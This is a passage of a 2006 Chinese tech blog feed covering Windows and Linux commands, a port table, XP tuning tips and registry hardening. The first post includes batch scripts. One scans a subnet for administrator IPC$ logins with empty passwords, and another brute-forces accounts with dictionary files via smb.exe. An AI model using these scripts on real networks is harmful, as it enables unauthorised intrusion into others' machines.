/>shutdown /参数 关闭或重启本地或远程主机。 <br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。 <br />例：shutdown /r /t 0 立即重启本地主机（无延时） <br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 <br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，<br />/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 <br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，<br />无参数时就只列出当前的进程。 </p>
		<p>Linux系统下基本命令： 要区分大小写 <br />uname 显示版本信息（同win2K的 ver） <br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br />pwd 查询当前所在的目录位置 <br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br />cat 文件名 查看文件内容 <br />cat &gt;abc.txt 往abc.txt文件中写上内容。 <br />more 文件名 以一页一页的方式显示一个文本文件。 <br />cp 复制文件 <br />mv 移动文件 <br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br />mkdir 目录名 建立目录 <br />rmdir 删除子目录，目录内没有文档。 <br />chmod 设定档案或目录的存取权限 <br />grep 在档案中查找字符串 <br />diff 档案文件比较 <br />find 档案搜寻 <br />date 现在的日期、时间 <br />who 查询目前和你使用同一台机器的人以及Login时间地点 <br />w 查询目前上机者的详细资料 <br />whoami 查看自己的帐号名称 <br />groups 查看某人的Group <br />passwd 更改密码 <br />history 查看自己下过的命令 <br />ps 显示进程状态 <br />kill 停止某进程 <br />gcc 黑客通常用它来编译C语言写的文件 <br />su 权限转换为指定使用者 <br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br />ftp ftp连接上某服务器（同win2K） </p>
		<p>附：批处理命令与变量 </p>
		<p>1：for命令及变量 基本格式： <br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，<br />变量是区分大小写的（%i 不等于 %I）。 <br />批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use  <a href="file://ip/ipc$">\\ip\ipc$</a> pass /user:user <br />中ip为%1,pass为%2 ,user为%3 </p>
		<p>(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”<br />第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”<br />说明：即从254到1} </p>
		<p>command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开 <br />command_parameters：为特定命令指定参数或命令行开关 </p>
		<p>IN (set)：指在(set)中取值；DO command ：指执行command </p>
		<p>参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:\pass.txt)时}。 <br />用法举例： <br />@echo off <br />echo 用法格式：test.bat *.*.* &gt; test.txt </p>
		<p>for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use <a href="file://%251.%25%25G/">\\%1.%%G</a> /user:administrator | find "命令成功完成" &gt;&gt;test.txt <br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。 </p>
		<p>/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br />@echo off <br />echo 用法格式：ok.bat ip <br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。</p>
<img src ="http://www.blogjava.net/computerboy/aggbug/45836.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-05-12 14:26 <a href="http://www.blogjava.net/computerboy/archive/2006/05/12/45836.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Win2000中的各种服务和端口对应表</title><link>http://www.blogjava.net/computerboy/archive/2006/05/12/45824.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 12 May 2006 05:30:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/05/12/45824.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/45824.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/05/12/45824.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/45824.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/45824.html</trackback:ping><description><![CDATA[
		<p>echo  7/tcp <br />echo  7/udp <br />discard   9/tcp sink null <br />discard   9/udp sink null <br />systat   11/tcp users #Active users <br />systat   11/tcp users #Active users <br />daytime   13/tcp <br />daytime   13/udp <br />qotd   17/tcp quote #Quote of the day <br />qotd   17/udp quote #Quote of the day <br />chargen   19/tcp ttytst source #Character generator <br />chargen   19/udp ttytst source #Character generator <br />ftp-data   20/tcp #FTP, data <br />ftp   21/tcp #FTP. control <br />telnet   23/tcp <br />smtp    25/tcp mail #Simple Mail Transfer Protocol <br />time     37/tcp timserver <br />time     37/udp timserver <br />rlp   39/udp resource #Resource Location Protocol <br />nameserver    42/tcp name #Host Name Server <br />nameserver    42/udp name #Host Name Server <br />nicname    43/tcp whois <br />domain    53/tcp #Domain Name Server <br />domain    53/udp #Domain Name Server <br />bootps    67/udp dhcps #Bootstrap Protocol Server <br />bootpc    68/udp dhcpc #Bootstrap Protocol Client <br />tftp    69/udp #Trivial File Transfer <br />gopher    70/tcp <br />finger   79/tcp <br />http     80/tcp www www-http #World Wide Web <br />kerberos    88/tcp krb5 kerberos-sec #Kerberos <br />kerberos    88/udp krb5 kerberos-sec #Kerberos <br />hostname   101/tcp hostnames #NIC Host Name Server <br />iso-tsap     102/tcp #ISO-TSAP Class 0 <br />rtelnet     107/tcp #Remote Telnet Service <br />pop2      109/tcp postoffice #Post Office Protocol - Version 2 <br />pop3     110/tcp #Post Office Protocol - Version 3 <br />sunrpc   111/tcp rpcbind portmap #SUN Remote Procedure Call <br />sunrpc    111/udp rpcbind portmap #SUN Remote Procedure Call <br />auth      113/tcp ident tap #Identification Protocol <br />uucp-path   117/tcp <br />nntp    119/tcp usenet #Network News Transfer Protocol <br />ntp     123/udp #Network Time Protocol <br />epmap    135/tcp loc-srv #DCE endpoint resolution <br />epmap    135/udp loc-srv #DCE endpoint resolution <br />netbios-ns    137/tcp nbname #NETBIOS Name Service <br />netbios-ns    137/udp nbname #NETBIOS Name Service <br />netbios-dgm    138/udp nbdatagram #NETBIOS Datagram Service <br />netbios-ssn    139/tcp nbsession #NETBIOS Session Service <br />imap    143/tcp imap4 #Internet Message Access Protocol <br />pcmail-srv    158/tcp #PCMail Server <br />snmp    161/udp #SNMP <br />snmptrap    162/udp snmp-trap #SNMP trap <br />print-srv    170/tcp #Network PostScript <br />bgp    179/tcp #Border Gateway Protocol <br />irc    194/tcp #Internet Relay Chat Protocol <br />ipx    213/udp #IPX over IP <br />ldap    389/tcp #Lightweight Directory Access Protocol <br />https    443/tcp MCom <br />https    443/udp MCom <br />microsoft-ds    445/tcp <br />microsoft-ds    445/udp <br />kpasswd    464/tcp # Kerberos (v5) <br />kpasswd    464/udp # Kerberos (v5) <br />isakmp     500/udp ike #Internet Key Exchange <br />exec     512/tcp #Remote Process Execution <br />biff       512/udp comsat <br />login     513/tcp #Remote Login <br />who     513/udp whod <br />cmd     514/tcp shell <br />syslog     514/udp <br />printer     515/tcp spooler <br />talk      517/udp <br />ntalk    518/udp <br />efs      520/tcp #Extended File Name Server <br />router     520/udp route routed <br />timed      525/udp timeserver <br />tempo     526/tcp newdate <br />courier    530/tcp rpc <br />conference      531/tcp chat <br />netnews      532/tcp readnews <br />netwall      533/udp #For emergency broadcasts <br />uucp     540/tcp uucpd <br />klogin      543/tcp #Kerberos login <br />kshell     544/tcp krcmd #Kerberos remote shell <br />new-rwho     550/udp new-who <br />remotefs     556/tcp rfs rfs_server <br />rmonitor     560/udp rmonitord <br />monitor      561/udp <br />ldaps      636/tcp sldap #LDAP over TLS/SSL <br />doom     666/tcp #Doom Id Software <br />doom     666/udp #Doom Id Software <br />kerberos-adm     749/tcp #Kerberos administration <br />kerberos-adm     749/udp #Kerberos administration <br />kerberos-iv      750/udp #Kerberos version IV <br />kpop     1109/tcp #Kerberos POP <br />phone    1167/udp #Conference calling <br />ms-sql-s     1433/tcp #Microsoft-SQL-Server <br />ms-sql-s     1433/udp #Microsoft-SQL-Server <br />ms-sql-m    1434/tcp #Microsoft-SQL-Monitor <br />ms-sql-m    1434/udp #Microsoft-SQL-Monitor <br />wins      1512/tcp #Microsoft Windows Internet Name Service <br />wins      1512/udp #Microsoft Windows Internet Name Service <br />ingreslock      1524/tcp ingres <br />l2tp      1701/udp #Layer Two Tunneling Protocol <br />pptp    1723/tcp #Point-to-point tunnelling protocol <br />radius    1812/udp #RADIUS authentication protocol <br />radacct     1813/udp #RADIUS accounting protocol <br />nfsd     2049/udp nfs #NFS server <br />knetd     2053/tcp #Kerberos de-multiplexor <br />man     9535/tcp #Remote Man Server</p>
<img src ="http://www.blogjava.net/computerboy/aggbug/45824.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-05-12 13:30 <a href="http://www.blogjava.net/computerboy/archive/2006/05/12/45824.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>操作系统运行命令集</title><link>http://www.blogjava.net/computerboy/archive/2006/04/30/44119.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Sun, 30 Apr 2006 01:07:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/04/30/44119.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/44119.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/04/30/44119.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/44119.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/44119.html</trackback:ping><description><![CDATA[
		<p>
				<font face="宋体">前些天在整理东西，觉得应该发到博客上。<br /><br /><br />write-----------------写字板<br />winmsd--------------系统信息　<br />wiaacmgr-----------扫描仪和照相机向导　 <br />winchat-------------XP自带局域网聊天<br />mem.exe-----------显示内存使用情况<br />Msconfig.exe------系统配置实用程序 <br />mplayer2------------简易widnows media player<br />mspaint--------------画图板<br />mstsc----------------远程桌面连接<br />mplayer2------------媒体播放机<br />magnify--------------放大镜实用程序<br />mmc------------------打开控制台<br />mobsync------------同步命令<br />dxdiag---------------检查DirectX信息<br />drwtsn32------ ---系统医生<br />devmgmt.msc--- 设备管理器<br />dfrg.msc------------磁盘碎片整理程序<br />diskmgmt.msc----磁盘管理实用程序<br />dcomcnfg----------打开系统组件服务<br />ddeshare-----------打开DDE共享设置<br />dvdplay-------------DVD播放器<br />net stop messenger-----停止信使服务<br />net start messenger----开始信使服务 <br />notepad-----------打开记事本<br />nslookup----------网络管理的工具向导<br />ntbackup---------系统备份和还原<br />narrator------------屏幕“讲述人”<br />ntmsmgr.msc----移动存储管理器<br />ntmsoprq.msc---移动存储管理员操作请求<br />netstat -an----(TC)命令检查接口<br />syncapp-----------创建一个公文包<br />sysedit------------系统配置编辑器<br />sigverif------------文件签名验证程序<br />sndrec32---------录音机<br />shrpubw----------创建共享文件夹<br />secpol.msc-------本地安全策略<br />syskey-------------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />services.msc-----本地服务设置<br />Sndvol32---------音量控制程序<br />sfc.exe------------系统文件检查器<br />sfc /scannow---windows文件保护<br />tsshutdn----------60秒倒计时关机命令<br />tourstart----------xp简介（安装完成后出现的漫游xp程序）<br />taskmgr------------任务管理器<br />tasklist /SVC-----查看进程详细信息<br />eventvwr---------事件查看器<br />eudcedit----------造字程序 <br />explorer-----------打开资源管理器<br />packager---------对象包装程序<br />perfmon.msc----计算机性能监测程序<br />progman----------程序管理器<br />regedit.exe------注册表 <br />rsop.msc----------组策略结果集<br />regedt32---------注册表编辑器<br />rononce -p -----15秒关机<br />regsvr32 /u *.dll----停止dll文件运行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />rundll32.exe shell32.dll,Control_RunDLL ---------------------------显示控制面板<br />rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1----------显示辅助功能选项<br />rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1－－---打开系统属性<br />rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1－－----删除或添加程序<br />rundll32.exe syncui.dll,Briefcase_Create－－－－----------------桌面上建立公文包<br />rundll32.exe diskcopy.dll,DiskCopyRunDll－－－－---------------复制软盘驱动器<br />rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0－－显示时间属性<br />rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0－－－－显示桌面墙纸属性<br />rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0－－－－－游戏控制器<br />rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0－－－音频属性<br />cmd.exe----------CMD命令提示符<br />chkdsk.exe------Chkdsk磁盘检查<br />certmgr.msc-----证书管理实用程序<br />calc----------------启动计算器<br />charmap----------启动字符映射表<br />cliconfg-----------SQL SERVER 客户端网络实用程序<br />Clipbrd-------------剪贴板查看器<br />conf---------------启动netmeeting<br />compmgmt.msc---计算机管理<br />cleanmgr---------垃圾整理<br />ciadv.msc--------索引服务程序<br />osk-----------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----检查XP是否激活<br />lusrmgr.msc----本机用户和组<br />logoff-------------注销命令<br />iexpress---------木马捆绑工具，系统自带　<br />ipconfig ---------查看当前所有IP地址<br />Nslookup--------IP地址侦测器<br />fsmgmt.msc---共享文件夹管理器<br />utilman----------辅助工具管理器<br />gpedit.msc-----组策略</font>
		</p>
<img src ="http://www.blogjava.net/computerboy/aggbug/44119.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-04-30 09:07 <a href="http://www.blogjava.net/computerboy/archive/2006/04/30/44119.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows XP系统最强的启动提速技巧</title><link>http://www.blogjava.net/computerboy/archive/2006/04/10/40232.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Mon, 10 Apr 2006 06:07:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/04/10/40232.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/40232.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/04/10/40232.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/40232.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/40232.html</trackback:ping><description><![CDATA[
		<p>首先，打开“系统属性”(在我的电脑上点右键-属性，或者在控制面板里打开“系统”，<br />快捷键win+pause break)点“高级”选项卡，在“启动和故障恢复”区里打开“设置”，<br />去掉“系统启动”区里的两个√，如果是多系统的用户保留“显示操作系统列表的时间”的√。<br />点“编辑”确定启动项的附加属性为 /fastdetect而不要改为nodetect，<br />先不要加 /noguiboot属性，因为后面还要用到guiboot。</p>
		<p>　　接下来这一步很关键，在“系统属性”里打开“硬件”选项卡，打开“设备管理器”，<br />展开“IDE ATA/ATAPI控制器”，双击打开“次要IDE通道”属性，点“高级设置”选项卡，<br />把设备1和2的传送模式改为DMA若可用，设备类型如果可以选择“无”就选为“无”，<br />点确定完成设置，同样的方法设置“主要IDE通道”。</p>
		<p>　　打开注册表(开始-运行-regedit)，单击“我的电脑”打开“编辑”菜单的“查找”，<br />输入AutoEndTasks，点“查找下一个”。双击打开找到的结果修改“数值数据”为1。<br />然后在AutoEndTasks的下面可以找到HungAppTimeout，WaitToKillAppTimeout，<br />把“数值数据”设为2000或者更小，在这里顺便也把菜单延迟的时间修改一下，<br />在AutoEndTasks的下面找到MenuShowDelay，数值是以毫秒为单位，如果希望去掉菜单延迟就设为0。</p>
		<p>　　修改后点“编辑”菜单，打开“查找下一个”(快捷键F3)，把找到的结果都安装上一步的方法修改。</p>
		<p>　　现在启动和关机的加速都已经完成，重启一下电脑感受一下极速启动的感觉吧，滚动条是不是只转一二圈就OK了。</p>
		<p>　　享受了极速重启的乐趣后我们再进一步加速一下启动的速度，<br />打开“系统属性”- “高级”-“启动和故障恢复”设置，打开“系统启动”区的编辑<br />在fastdetect的后面加上 /noguiboot，这样在启动的时候就不会再显示滚动条。<br />如果你非常喜欢这个滚动条的显示这一步就不用做了。</p>
		<p> </p>
		<p> </p>
		<p>
				<br />*********************************************************************</p>
		<p>
				<br />注册表优化方案</p>
		<p>　　1、启用CPU L2 Cahce</p>
		<p>　　到注册表HKCU_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management下，新建Dword值:</p>
		<p>SecondLevelDataCache，修改这个值为你的CPU的二级缓存的大小，填写的时候使用10进制值。<br />你可以通过修改Dword值“SecondLevelDataCache”将CPU的2级缓存变为256KB，然后重新启动电脑即可。</p>
		<p>
				<br />2、修改磁盘缓存加速XP</p>
		<p>　　磁盘缓存对XP运行起着至关重要的作用，但是默认的I/O页面文件比较保守。所以，对于不同的内存，采用不同的磁盘缓存是比较好的做法。</p>
		<p>　　到注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\IoPageLockLimit，<br />根据你的内存修改其十六进制值(64M: 1000;128M: 4000;256M: 10000;512M或更大: 40000)。</p>
		<p>　　3、去掉菜单延迟</p>
		<p>　　把滑出菜单时的延迟去掉，可以在一定程度上加快XP。要修改的键值在HKEY_CURRENT_USERControl PanelDesktop。<br />具体要修改的键名为“MenuShowDelay”，只需把值改为0就得了。当然要重新启动计算机后更改才生效。</p>
		<p>　　4、指定进程次序</p>
		<p>　　同时按下Control+Alt+Delete三个键，然后点击“Processes(进程)”选项卡，可以看到一个对话框，<br />在这里可以看到目前正在运行的所有进程。如果要为一个程序分配更多的进程时间，如3D Studio Max，<br />只需右键点击这个进程，再把鼠标指针向下移动到“Set Priority&gt;(设置优先级)”，然后选择你想要这个程序处在哪个优先级。<br />当我接收email时，我会把3DMAX设为“标准”，但当我离开计算机的时候，我会把它的优先级提升为最高的“实时”，<br />这样可以计算机更专注更快速地处理3D动作。</p>
		<p>　　5、取消Windows XP专业版中的保留带宽</p>
		<p>　　由于专业版在网络上的需要，所以设定了20%的默认保留带宽，其实对于个人用户，这些保留的带宽是没有用处的，<br />使用组策略编辑器就可以取消保留带宽。</p>
		<p>　　在“开始”→“运行”中输入gpedit.msc，打开组策略编辑器。找到“计算机配置”→“管理模板”→“网络”→“QoS数据包调度程序”，<br />选择右边的“限制可保留带宽”，选择“属性”就可以打开图片，选择“禁用”即可。这对于使用Modem的用户是非常有好处的——<br />释放了保留的带宽可加快上网浏览下载的速度!</p>
		<p>　　6、Windows XP不检查预定任务</p>
		<p>　　通常情况下，当Windows XP连接到其它计算机时，会检查对方机子上所有预定的任务，这个过程会让你等上30秒钟，实在太讨厌了。<br />让我们来把这个过程给禁掉，方法是:在注册表中找到</p>
		<p>　　HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\</p>
		<p>　　RemoteComputer\NameSpace。在这里面，应该有个{D6277990-4C6A-11CF-8D87-00AA0060F5BF}键。只需把它删掉，重新启动计算机后，<br />Windows就不再检查预定任务了，速度明显提高!</p>
		<p> </p>
		<p> </p>
		<p>驱动程序的优化方案 </p>
		<p>　　1、如果是Intel 8XX芯片组的话，一定要安装Intel Application Accelerator，安装以后系统优化很明显。这个东西可以到Intel官方网站下载。</p>
		<p>    2、如果是非Intel芯片组的主板，安装相应的补丁程序是必不可少的，如VIA的4in1程序等等。</p>
		<p>　　3、尽量使用通过了WHL认证的驱动程序。这种驱动程序通过了微软硬件实验室的认证，在稳定性和兼容性上有很大的优势。</p>
		<p>其他优化方案<br />     1、启动加速<br />虽然Windows XP的启动速度比Windows 98有了很大提高，但还是有加速的余力。到微软站点下载Bootvis.exe文件，启动它，<br />依次选择菜单里面的Trace→Optimize System，这时候系统会提示是否重新启动，选择启动，重启登录以后什么都别动，<br />过一段时间会自动弹出一个对话框，对话框上写着系统分析等提示信息，你什么都别做，一直等到提示分析完毕，这样启动速度就明显提高了。</p>
		<p>
				<br />2、去掉不必要的服务</p>
		<p>　　每次Windows XP启动之后，随之也启动了许多服务，其中部分服务对于很多用户来说是没用的，并且占用了内存，<br />下面我们来看一下哪些服务有必要关掉。</p>
		<p>　　点击“开始”→“运行”，输入命令“services.msc”，打开“服务”对话框，<br />(注意:必须以管理员或 Administrators 组成员身份登录才能完成该过程。如果计算机与网络连接，则网络策略设置也可以阻止您完成此步骤。)</p>
		<p>　　Clipbook Server(文件夹服务器):这个服务允许你们网络上的其他用户看到你的文件夹。<br />在这里我要强烈建议你把它改为手动启动，然后再使用其他程序在你的网络上发布信息。</p>
		<p>　　Messenger(消息):在网络上发送和接收信息。如果你关闭了Alerter，你可以安全地把它改为手动启动。</p>
		<p>　　Printer Spooler(打印后台处理程序):如果你没有配置打印机，建议改为手动启动或干脆关闭它。</p>
		<p>　　Error Reporting Service(错误报告):服务和应用程序在非标准环境下运行时提供错误报告。建议改为手动启动。</p>
		<p>　　Fast User Switching Compatibility(快速用户切换兼容性):建议改为手动启动。</p>
		<p>　　Automatic Updates(自动更新):这个功能前面已经讲过了，在这里可以改为手动启动。</p>
		<p>　　Net Logon(网络注册):处理象注册信息那样的网络安全功能。你可以把它改为手动启动。</p>
		<p>　　Network DDE和Network DDE DSDM(动态数据交换):除非你准备在网上共享你的Office，否则你应该把它改为手动启动。<br />注:这和在通常的商务设定中使用Office不同(如果你需要DDE，你就会知道)。</p>
		<p>　　NT LM Security Support(NT LM安全支持提供商):在网络应用中提供安全保护。建议改为手动启动。</p>
		<p>　　Remote Desktop Help Session Manager(远程桌面帮助会话管理器):建议改为手动启动。</p>
		<p>　　Remote Registry(远程注册表):使远程用户能修改此计算机上的注册表设置。建议改为手动启动。</p>
		<p>　　Task Scheduler(任务调度程序):使用户能在此计算机上配置和制定自动任务的日程，它计划每星期的碎片整理等。 <br />除非你实在太懒了，连在电脑上开一下都不想，建议改为手动启动。</p>
		<p>　　Uninterruptible Power Supply(不间断电源):用来管理你的UPS。如果你没有UPS的话，把它改为手动启动或干脆关闭它。</p>
		<p>　　Windows Image Acquisition (WIA)(Windows 图像获取):为扫描仪和照相机提供图像捕获，如果你没有这些设备，<br />建议改为手动启动或干脆关闭它。</p>
		<p> </p>
		<p>3、使用固定的虚拟缓存 </p>
		<p>　　建议把最大值和最小值都设置为382M，而不管你的物理内存的大小。<br />4、确保内存使用优先用于程序，CPU计划优先用于程序</p>
		<p>　　先打开“系统”属性，然后选择“高级”选项卡，在“性能”栏里面点击“设置”按钮，打开“性能”选项对话框，<br />然后打开“高级”选项卡，在“处理器计划”一栏里面选择“程序”，在“内存使用”一栏上选择“程序”，然后点击“确定”退出。</p>
		<p> </p>
		<p>5、清除预读文件</p>
		<p>　　当XP使用一段时间后，预读文件夹里的文件会变的很大，里面会有死链文件，这会减慢系统时间。建议，<br />定期删除这些文件(c:\windows\prefetch)。</p>
		<p>6、减少磁盘扫描等待时间</p>
		<p>　　在Dos下，键入“chkntfs/t:0”，其中“0”表示等待时间为0秒。</p>
		<p>
				<br />7、关闭磁盘索引</p>
		<p>　　XP纪录了所有文件以便快速搜索，如果你不经常查找文件，可将它关闭。具体方法是:打开我的电脑，右击驱动器，<br />选“属性”，取消“使用索引以便快速查找文件”。</p>
		<p> </p>
		<p> </p>
		<p>
				<br /> </p>
<img src ="http://www.blogjava.net/computerboy/aggbug/40232.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-04-10 14:07 <a href="http://www.blogjava.net/computerboy/archive/2006/04/10/40232.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>修改Win2000注册表以加强系统安全</title><link>http://www.blogjava.net/computerboy/archive/2006/03/17/35821.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 17 Mar 2006 06:20:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/03/17/35821.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/35821.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/03/17/35821.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/35821.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/35821.html</trackback:ping><description><![CDATA[
		<p>　　1)设置生存时间</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters</p>
		<p>　　DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)</p>
		<p>　　说明:指定传出IP数据包中设置的默认生存时间(TTL)值.TTL决定了IP数据包在到达目标前在网络中生存的最大时间.它实际上限定了IP数据包在丢弃前允许通过的路由器数量.有时利用此数值来探测远程主机操作系统.</p>
		<p>　　2)防止ICMP重定向报文的攻击　　　　</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters</p>
		<p>　　EnableICMPRedirects REG_DWORD 0x0(默认值为0x1)</p>
		<p>　　说明:该参数控制Windows 2000是否会改变其路由表以响应网络设备(如路由器)发送给它的ICMP重定向消息,有时会被利用来干坏事.Win2000中默认值为1,表示响应ICMP重定向报文.</p>
		<p>　　3)禁止响应ICMP路由通告报文</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface</p>
		<p>　　PerFORMRouterDiscovery REG_DWORD 0x0(默认值为0x2)</p>
		<p>　　说明:“ICMP路由公告”功能可造成他人计算机的网络连接异常,数据被窃听,计算机被用于流量攻击等严重后果.此问题曾导致校园网某些局域网大面积,长时间的网络异常.因此建议关闭响应ICMP路由通告报文.Win2000中默认值为2,表示当DHCP发送路由器发现选项时启用.</p>
		<p>　　4)防止SYN洪水攻击</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters</p>
		<p>　　SynAttackProtect REG_DWORD 0x2(默认值为0x0)</p>
		<p>　　说明:SYN攻击保护包括减少SYN-ACK重新传输次数,以减少分配资源所保留的时间.路由缓存项资源分配延迟,直到建立连接为止.如果synattackprotect=2,则AFD的连接指示一直延迟到三路握手完成为止.注意,仅在TcpMaxHalfOpen和TcpMaxHalfOpenRetried设置超出范围时,保护机制才会采取措施。</p>
		<p>　　5) 禁止C$、D$一类的缺省共享</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters</p>
		<p>　　AutoShareServer、REG_DWORD、0x0</p>
		<p>　　6) 禁止ADMIN$缺省共享</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters</p>
		<p>　　AutoShareWks、REG_DWORD、0x0</p>
		<p>　　7) 限制IPC$缺省共享</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa</p>
		<p>　　restrictanonymous REG_DWORD 0x0 缺省0x1 匿名用户无法列举本机用户列表0x2 匿名用户无法连接本机IPC$共享说明:不建议使用2，否则可能会造成你的一些服务无法启动，如SQL Server</p>
		<p>　　8)不支持IGMP协议</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters</p>
		<p>　　IGMPLevel REG_DWORD 0x0(默认值为0x2)</p>
		<p>　　说明:记得Win9x下有个bug,就是用可以用IGMP使别人蓝屏,修改注册表可以修正这个bug.Win2000虽然没这个bug了,但IGMP并不是必要的,因此照样可以去掉.改成0后用route print将看不到那个讨厌的224.0.0.0项了.</p>
		<p>　　9)设置arp缓存老化时间设置</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters</p>
		<p>　　ArpCacheLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为120秒)ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为600)</p>
		<p>　　说明:如果ArpCacheLife大于或等于ArpCacheMinReferencedLife,则引用或未引用的ARP缓存项在ArpCacheLife秒后到期.如果ArpCacheLife小于ArpCacheMinReferencedLife,未引用项在ArpCacheLife秒后到期,而引用项在ArpCacheMinReferencedLife秒后到期.每次将出站数据包发送到项的IP地址时,就会引用ARP缓存中的项。</p>
		<p>10)禁止死网关监测技术</p>
